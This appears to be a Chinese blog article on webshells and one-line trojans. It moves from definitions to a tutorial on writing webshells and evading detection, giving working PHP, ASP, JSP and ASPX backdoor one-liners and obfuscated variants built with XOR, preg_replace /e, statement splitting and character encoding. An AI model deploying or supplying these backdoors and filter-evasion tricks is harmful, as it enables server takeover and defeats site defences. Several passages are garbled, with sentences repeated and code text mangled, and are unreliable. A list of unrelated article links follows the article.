一、Webshell

1.Webshell基本介绍

webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

1.1 什么是木马

“木马”全称是“特洛伊木马(Trojan< BR >Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载 (Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。

1.2 什么是后门

大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535 扇门。每个门的背后都是一个服务。有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。

1.3 什么是webshell

简单来说,webshell就是一个web的木马后门,黑客在入侵了一个网站后,常常在将这些web木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。

2. Webshell分类

Webshell根据不同的文件大小、功能、开发的语言版本等不同,可以进行不同的分类,常见的webshell分类方式有以下两种方式。

2.1 不同的开发语言

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。

不同脚本类型的简单木马
JSP <%Runtime.getRuntime().exec(request.getParameter(“i”));%>
ASP <%eval request(“cmd”)%>
PHP <?Php $a=exec($_GET["input"]);?>

2.2 代码量(shell功能)大小

根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。
大马与小马区别:

     一句话木马(小马)                 大马
功能      功能简单,需要配合客户端使用           功能完善,直接使用浏览器即可利用大小       代码量通常在一行左右,不超过10行        代码量通常较大隐蔽性  隐蔽性强                            隐蔽性相对较弱容易通过变形隐藏特征               通过加密等方式来隐藏特征    容易绕过过滤                      相对不易绕过过滤

二、一句话木马

1. 什么是一句话木马?

一句话木马的原理即可以执行传递上来变量的内容,变量名称即“一句话密码”,变量内容即后门执行代码,内容可以是list文件、上传及下载文件、数据库操作等等。这类后门通常只一行代码,因此可以随意插入web站点的正常文件而并不影响原本代码的执行,甚至与正常图片的结合可以形成“图片马”。体积小,隐蔽性强是一句话木马最大的优势。灵活的变量内容同时成就了很多经典的一句话操作客户端,如菜刀。

三、木马特征

当前常见的木马文件、木马程序主要特征有隐蔽性、自启动、欺骗性、自动恢复、端口自启这五种特征。接下来,简单对这五种特征进行介绍。

1.隐蔽性

隐蔽性是指木马必须隐藏在目标计算机中,以免被用户发现。这是因为木马设计者不会轻易就让用户发现木马程序。木马的隐蔽性主要体现在两个方面:第一是不会在目标计算机产生快捷图标,第二是木马程序会自动在任务管理器中隐藏,并以系统服务的形式存在,以欺骗操作系统。

2.自启动

木马的自动运行性是指木马会随着计算机系统的启动而自动运行,所以木马必须潜入计算机的启动配置文件中,如启动组或系统进程。直到目标计算机关闭时,木马才会停止运行。

3.欺骗性

木马之所以具有欺骗性是为了防止一眼就被计算机用户认出。为此,被木马感染的文件一般都用常用的文件名或扩展名,或者仿制一些不易被人区分的文件名,甚至干脆借用系统文件中已有的文件名,只不过他们被保存在不同的路径之中。

4.自动恢复

木马的自动恢复是指当木马的某一些功能模块丢失时,他能够自动回复为丢失之前的状态。现在很多木马的功能已不再是有单一的文件所组成,而是有多重备份,可以相互恢复的文件。

5.自启端口

木马潜入目标计算机的目的不是为了破坏文件,即使为了获取目标计算机中的有用信息,因此就需要保证能与目标计算机进行通信。木马会采用服务器/客户端的通信手段把获取到的有用信息传递给黑客,以便黑客能控制该计算机或实现更进一步的企图。

四、木马编写&免杀处理

1. 木马编写

编写一句话木马,根据不同的开发语言可以分为不同类型的一句话木马,其主要分为两个部分:①用户可控参数②系统命令执行函数;以php的一句话木马后门中最普通的一种为例:<?php eval($_POST['v']);?>,其中v作为参数用于传递攻击者提交的内容;POST[′′]用于接收前端攻击者输入的内容,这部分作为用户可控输入内容,eval()函数是PHP语言中的命令执行函数,会将任何字符串当做命令进行执行;当_POST['']用于接收前端攻击者输入的内容,这部分作为用户可控输入内容,eval()函数是PHP语言中的命令执行函数,会将任何字符串当做命令进行执行;当P​OST[′′]用于接收前端攻击者输入的内容,这部分作为用户可控输入内容,eval()函数是PHP语言中的命令执行函数,会将任何字符串当做命令进行执行;当_POST[‘v’]接收传值后,利用eval()函数对传入的参数进行执行。

2. 木马免杀处理

免杀就是需要特定的关键字,我们使用一些特殊的构造方法,或者拆分或者替换等方式,不断地尝试躲避服务器端的过滤

2.1 构造法绕过检测(PHP)

一般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的字符,这个时候可以用构造法绕过一些检测程序,基本原理是,php每一个字符都都对应了一个二进制的值,可以采用异或的方式,让马中的一个字符用两个字符异或后的值来代替,在我们的程序过滤数字 字母等的时候也可以派上用场,我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。比如在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可,我们也可以使用~来取反。

<?php
@$_++;                          // 这里++让’_’自加1
$__=("#"^"|");                  // _
$__=("."^"~");                  // P
$__=("/"^"`");                  // O
$__=("|"^"/");                  // S
$__=("{"^"/");                  // T
?>

然后构造与一句话可以写为

<?php @$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");         // $__的值为_POST
@${$__}[!$_](${$__}[$_]);
?>

// 结果为@POST[0](_POST[0](P​OST[0](POST[1])
!表示1的相反,在语言里面1代表真,反过来就是0(假),但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,例如:_表示1的相反,在语言里面1代表真,反过来就是0(假),但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,例如:表​示1的相反,在语言里面1代表真,反过来就是0(假),但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,例如:__=(“#”“|”).(“.”“~”).(“/”“`”).(“|”“/”).(“{”^“/”)的二进制值与_POST字符的值一样的,要是检测程序会检测二进制码的值,还是会被杀掉。

2.2 正则表达式代替法(PHP)

php中有一个函数preg_replace()函数,这个函数可以实现正则表达式的替换工作。用替换绕过检测系统还需要php脚本语言里面的一个函数特性,函数在调用的时候,如果函数里面的形参赋的值里面含有命令,就会执行这个命令。

<?php
function funfunc($str){}
echopreg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>

上述代码就是替代的一个过程,首先创建一个空函数,然后使用preg_replace函数替换表单cmd中的(这里是html里面表示主题)为funfunc,将post表单中的值写成

{${phpinfo()}}通过置换,就会变成 funfunc({${phpinfo()}}),由于${}可以解析{}中的内容,所以这里的phpinfo就可以顺利执行了。

2.3 回避法(ASP)

因为有的asp服务器为了防止一句话马,会过滤<%,%>,可以使用:

<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>

功能相同,就是换个形式,回避特定脚本语言:aspx一句话

<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>

2.4 拆分法(ASP)

将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>
拆分法加强版:

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。

2.5 乱码变形(ANSI->Unicode加密)

<%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%&gt;

上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为

<%eval (eval(request("brute"))%>

webshell及木马详解相关推荐

  1. php 木马 加密,PHP后门木马详解

    说起php后门木马我就心有愉季啊前不久一个站就因不小心给人注入了然后写入了小木马这样结果大家知道的我就不说了下面我来给大家收集了各种php后门木马做法大家可参考. php后门木马对大家来说一点都不陌生 ...

  2. [网络安全自学篇] 九十.远控木马详解及APT攻击中的远控和防御

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了软件来源分析,结合APT攻击中常见的判断方法,利用Python调用扩展包进 ...

  3. 阿里云提示微擎被挂图片木马详解

    阿里云提示: 然后 找到目录文件瞅一眼是个啥,打开还真是个图片. 既然提示是木马,总的分析一下看看,exif_read_data函数读取 EXIF 头信息 看下图片注释头信息: <?php @$ ...

  4. [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  5. [系统安全] 四十四.APT系列(9)Metasploit技术之基础用法万字详解及防御机理

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  6. [网络安全提高篇] 一一九.恶意软件动态分析经典沙箱Cape的安装和基础用法详解

    终于忙完初稿,开心地写一篇博客. "网络安全提高班"新的100篇文章即将开启,包括Web渗透.内网渗透.靶场搭建.CVE复现.攻击溯源.实战及CTF总结,它将更加聚焦,更加深入,也 ...

  7. linux服务器杀毒软件命令,悬镜Linux服务器卫士-木马查杀详解

    原标题:悬镜Linux服务器卫士-木马查杀详解 今天悬镜小编详细给大家讲解下悬镜管家中-木马查杀功能的使用情况. 对于WebShell的理解,"Web"显然需要服务器开放Web服务 ...

  8. 端口、木马、安全和扫描,四大应用知识详解(转)

    看到这个题目你也许有些奇怪,怎么把这几个词放在了一起,其实谈起端口和木马都是老生常谈了,但即使是常谈还有很多人的计算机被"冲击波"冲过之后又被"震荡波"狠狠地震 ...

  9. 木马免杀原理详解(一)

    木马免杀原理详解 首先来简单了解一下杀毒软件查杀病毒的原理,当前杀毒软件对病毒的查杀主要有特征代码法和行为监测法.其中前一个比较方法古老,又分为文件查杀和内存查杀,杀毒软件公司拿到病毒的样本以后,定义 ...

  10. 文件上传/JS/MIME/黑名单/白名单/htaccess/00截断详解篇[代码审计]

    文件上传漏洞定义 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力,这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是 ...

最新文章

  1. 网络对抗技术-实验报告一
  2. 不想学python-学Python好久都学不会?然后选择放弃,总结出这几个原因
  3. 如何使用CREO来导入多个带坐标系参数的零件的装配图档
  4. 电脑有回声_电脑连接麦克风有回音怎么办?麦克风回声的解决方法
  5. python生成器函数的使用(模拟cycle函数)
  6. C 语言 —— ! 和 ~(感叹号和波浪号)
  7. 排序算法--冒泡排序
  8. 我的 Visual C++ 6.0学习网站
  9. 暴力破解之NTscan+密码字典工具
  10. 微信小程序开发(十二)小程序画布组件canvas
  11. 智驾科技MAXIEYE完成3亿元B轮融资,暂未取得品牌同名商标
  12. 安装VMware出现Error 1406:could not write value installpath to key的解决办法
  13. python简易语音助手
  14. 爬虫 Scrapy 学习:Spiders
  15. @UPC 6605 @福建OI2018 [FJOI2018] @ 洛谷 P4578 所罗门王的宝藏 (矩阵行列规律)
  16. cas22112-84-1/5,10,15,20-四(4-氨基苯)-21H,23H-卟啉简称:H2TAPP; Tph
  17. 西部世界第二季百度云免费在线观看_迅雷下载
  18. 基于协同过滤算法的电影推荐系统设计(二) - ALS算法详解
  19. 人机交互 交互形式和交互设备
  20. 小红书api_【实习精选】oppo、小红书等名企实习汇总(96)

热门文章

  1. Python使用random实现双色球、大乐透随机选号
  2. arm-linux-g++ crypto,在Ubuntu中找不到libcrypto
  3. 自回归模型AR(p)的python实现【案例】
  4. Solaris系统cron服务异常解决记录
  5. axure插件chrome浏览器和360浏览器安装指南
  6. 傻瓜式c语言教程,app制作教程简单易学:傻瓜简单自建app,步骤如下
  7. DVWA教程(一) —— Low级别
  8. 【SpringBoot】微信点餐系统
  9. 宁海象山H5棋牌游戏定制开发
  10. 拖机软件Betwinnbsp;VSnbsp;2.0.0.368+破解…